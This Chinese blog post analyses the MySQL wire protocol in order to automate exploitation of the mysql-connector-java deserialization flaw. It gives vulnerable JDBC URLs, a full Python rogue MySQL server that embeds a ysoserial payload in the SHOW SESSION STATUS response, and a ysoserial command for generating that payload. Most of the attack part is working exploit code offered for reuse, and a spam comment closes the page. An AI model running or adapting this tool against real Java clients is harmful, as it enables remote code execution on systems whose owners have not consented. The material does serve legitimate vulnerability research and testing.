java jdbc 反序列漏洞的自动化利用

前言

BlackHat Europe 2019 的议题New Exploit Technique In Java Deserialization Attack中提到了通过控制 JDBC URL 利用 mysql-connector-java 组件进行反序列化攻击的方法。漏洞原理分析可见参考文章,不多赘述。

本文主要就已经披露的 java jdbc 反序列漏洞的一个利用方法,分析了相应的 mysql 连接协议并编写了简单的漏洞自动化利用脚本。

过程

0x00:主要思路

  1. 搭建真实环境,wireshark 抓取漏洞触发时的数据包;
  2. 结合 mysql 协议,分析并理解客户端和服务端交互时各个数据包的含义;
  3. 利用 socket 发包程序模拟 mysql server,并找到反序列化数据在整个交互过程中的位置;
  4. 将反序列化数据块单独剥离出来,达到可以随意替换反序列化 poc 而不用再改程序的效果;

0x01:选择触发点

对于新的反序列化漏洞利用攻击面,触发点可能不止一处,尽量选取复现步骤完整、稳定利用的触发点。这里选择了 参考文章1 中的方法,通过控制SQL查询 SHOW SESSION STATUS 返回结果进行反序列化利用的触发点。

0x02:测试代码

java 代码

  • mysql-connector-java 5.x
import java.sql.*;

public class MysqlJdbcTest {
    public static void main(String[] args) throws Exception{
        String driver = "com.mysql.jdbc.Driver";
        String user = "root";
        String password = "ubuntu";
        String url = "jdbc:mysql://192.168.44.1:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";
        Class.forName(driver);
        Connection conn = DriverManager.getConnection(url, user, password);
    }
}
  • mysql-connector-java 8.x
import java.sql.*;

public class MysqlJdbcTest {
    public static void main(String[] args) throws Exception{
        String driver = "com.mysql.cj.jdbc.Driver";
        String user = "root";
        String password = "ubuntu";
        String url = "jdbc:mysql://192.168.44.1:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";
        Class.forName(driver);
        Connection conn = DriverManager.getConnection(url, user, password);
    }
}

pom.xml 依赖

<dependencies>
    <dependency>
        <groupId>mysql</groupId>
        <artifactId>mysql-connector-java</artifactId>
        <version>8.0.12</version>
        <!--<version>5.1.47</version>-->
    </dependency>

    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

0x03: 抓数据包分析

搭建真实环境,抓取漏洞利用成功时交互的数据包:

MySQL客户端与服务器的交互主要分为两个阶段:握手认证阶段命令执行阶段

一:握手认证阶段

握手认证阶段为客户端与服务器建立连接后进行,交互过程如下:

  • 服务器 -> 客户端:握手初始化消息
  • 客户端 -> 服务器:登陆认证消息
  • 服务器 -> 客户端:认证结果消息

二:命令执行阶段

客户端认证成功后,会进入命令执行阶段,交互过程如下:

  • 客户端 -> 服务器:执行命令消息
  • 服务器 -> 客户端:命令执行结果

三:数据传输格式

主要关注 服务端 -> 客户端 的数据包,其基本格式如下:

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  data_length  |  sequence_id  |               data            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     3 bytes   |    1 bytes    |             N bytes           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

对应解释:

类型 含义 字节数 描述
data_length 具体数据长度 3 具体数据包的长度,从去除头部4个字节后开始的内容
sequence_id 包序列id 1 每个包的序列id,总数据内容大于16MB时使用,从0开始递增1,新命令执行重载为0
data 具体数据 N 除去头部后的具体数据内容

这里需要注意的一点是: mysql 通信协议使用小端序列进行传输。例如,当传输的 data_length3627 (0x0e2b)个字节时,传输数据时的排列顺序为 0x2b0e

四:提取 mysql 协议数据

如下图,复制服务端响应包的 hex 值,然后去除前 108 位字符 (54字节TCP包头),剩余的就是 mysql 协议内容

五:剥离反序列化数据

根据前文可知反序列化数据在客户端查询 SHOW SESSION STATUS 的结果中。如下图,找到并复制响应包,直接比对数据,定位到具体数据内容,而后根据内容长度,用小端序列返回即可。

参考程序

触发方式:

  • mysql-connector-java 5.x
String driver = "com.mysql.jdbc.Driver";
String url = "jdbc:mysql://192.168.44.1:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"
  • mysql-connector-java 8.x
String driver = "com.mysql.cj.jdbc.Driver";
String url = "jdbc:mysql://192.168.44.1:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";

通用脚本 rogue-mysql-server.py 如下:

#!/usr/bin/env python
# coding: utf-8
# -**- Author: LandGrey -**-

import os
import socket
import binascii


def server_send(conn, payload):
    global count
    count += 1
    print("[*] Package order: {}, Send: {}".format(count, payload))
    conn.send(binascii.a2b_hex(payload))


def server_receive(conn):
    global count, BUFFER_SIZE

    count += 1
    data = conn.recv(BUFFER_SIZE)
    print("[*] Package order: {}, Receive: {}".format(count, data))
    return str(data).lower()


def run_mysql_server():
    global count, deserialization_payload

    while True:
        count = 0
        conn, addr = server_socks.accept()
        print("[+] Connection from client -> {}:{}".format(addr[0], addr[1]))
        greeting = '4a0000000a352e372e323900160000006c7a5d420d107a7700ffff080200ffc11500000000000000000000566d1a0a796d3e1338313747006d7973716c5f6e61746976655f70617373776f726400'
        server_send(conn, greeting)
        if os.path.isfile(deserialization_file):
            with open(deserialization_file, 'rb') as _f:
                deserialization_payload = binascii.b2a_hex(_f.read())
        while True:
            # client auth
            server_receive(conn)
            server_send(conn, response_ok)

            # client query
            data = server_receive(conn)
            if "session.auto_increment_increment" in data:
                _payload = '01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c210009000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000f90000150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013007343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e035554430653595354454d0f52455045415441424c452d5245414405323838303007000016fe000002000200'
                server_send(conn, _payload)
                data = server_receive(conn)
            if "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                server_send(conn, _payload)
                data = server_receive(conn)
            if "set names" in data:
                server_send(conn, response_ok)
                data = server_receive(conn)
            if "set character_set_results" in data:
                server_send(conn, response_ok)
                data = server_receive(conn)
            if "show session status" in data:
                _data = '0100000102'
                _data += '2700000203646566056365736869046f626a73046f626a730269640269640c3f000b000000030000000000'
                _data += '2900000303646566056365736869046f626a73046f626a73036f626a036f626a0c3f00ffff0000fc9000000000'
                _payload_hex = str(hex(len(deserialization_payload)/2)).replace('0x', '').zfill(4)
                _payload_length = _payload_hex[2:4] + _payload_hex[0:2]
                _data_hex = str(hex(len(deserialization_payload)/2 + 5)).replace('0x', '').zfill(6)
                _data_lenght = _data_hex[4:6] + _data_hex[2:4] + _data_hex[0:2]
                _data += _data_lenght + '04' + '0131fc' + _payload_length + deserialization_payload
                _data += '07000005fe000022000100'
                server_send(conn, _data)
                data = server_receive(conn)
            if "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                server_send(conn, _payload)

            break
        try:
            conn.close()
        except Exception as e:
            pass


if __name__ == "__main__":
    HOST = "0.0.0.0"
    PORT = 3306

    deserialization_file = r'payload.ser'
    if os.path.isfile(deserialization_file):
        with open(deserialization_file, 'rb') as f:
            deserialization_payload = binascii.b2a_hex(f.read())
    else:
        deserialization_payload = 'aced****(your deserialized hex data)'

    count = 0
    BUFFER_SIZE = 1024
    response_ok = '0700000200000002000000'
    print("[+] rogue mysql server Listening on {}:{}".format(HOST, PORT))
    server_socks = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socks.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server_socks.bind((HOST, PORT))
    server_socks.listen(1)

    run_mysql_server()

使用时,直接生成反序列化载荷文件 payload.ser ,如:

java -jar ysoserial.jar CommonsCollections3 calc > payload.ser

并和本程序放在同一个目录下即可

参考文章:

mysql jdbc 反序列化漏洞测试

JDBC导致的反序列化攻击

New Exploit Technique In Java Deserialization Attack

MySQL网络协议分析

MySQL协议分析

标签   

1 评论

  1. Douglas
    /回复

    Wonderful article! That is the type of info that are meant to be shared around the internet. Disgrace on the seek engines for no longer positioning this put up higher! Come on over and consult with my web site . Thank you =) My programmer is trying to persuade me to move to .net from PHP. I have always disliked the idea because of the costs. But he’s tryiong none the less. I’ve been using Movable-type on a number of websites for about a year and am concerned about switching to another platform. I have heard great things about blogengine.net. Is there a way I can import all my wordpress content into it? Any kind of help would be really appreciated! Hello, I log on to your blog like every week. Your writing style is witty, keep it up! http://porsche.com

评论